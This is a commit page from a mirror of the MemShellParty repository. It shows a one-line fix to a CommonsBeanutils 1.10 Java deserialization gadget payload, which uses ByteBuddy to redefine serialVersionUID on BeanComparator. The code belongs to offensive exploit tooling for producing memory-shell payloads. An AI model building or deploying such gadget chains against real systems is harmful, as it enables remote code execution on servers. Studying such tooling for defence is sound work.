mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: cb110 serializeVersionUID change failed
This commit is contained in:
+1
-1
@@ -28,7 +28,7 @@ public class CommonsBeanutils110 implements Payload {
|
|||||||
public Object generate(byte[] bytes) {
|
public Object generate(byte[] bytes) {
|
||||||
Object comparator = new ByteBuddy()
|
Object comparator = new ByteBuddy()
|
||||||
.redefine(BeanComparator.class)
|
.redefine(BeanComparator.class)
|
||||||
.field(named("serialVersionUID"))
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
.value(1L).make()
|
.value(1L).make()
|
||||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||||
.getDeclaredConstructor(String.class, Comparator.class)
|
.getDeclaredConstructor(String.class, Comparator.class)
|
||||||
|
|||||||
Reference in New Issue
Block a user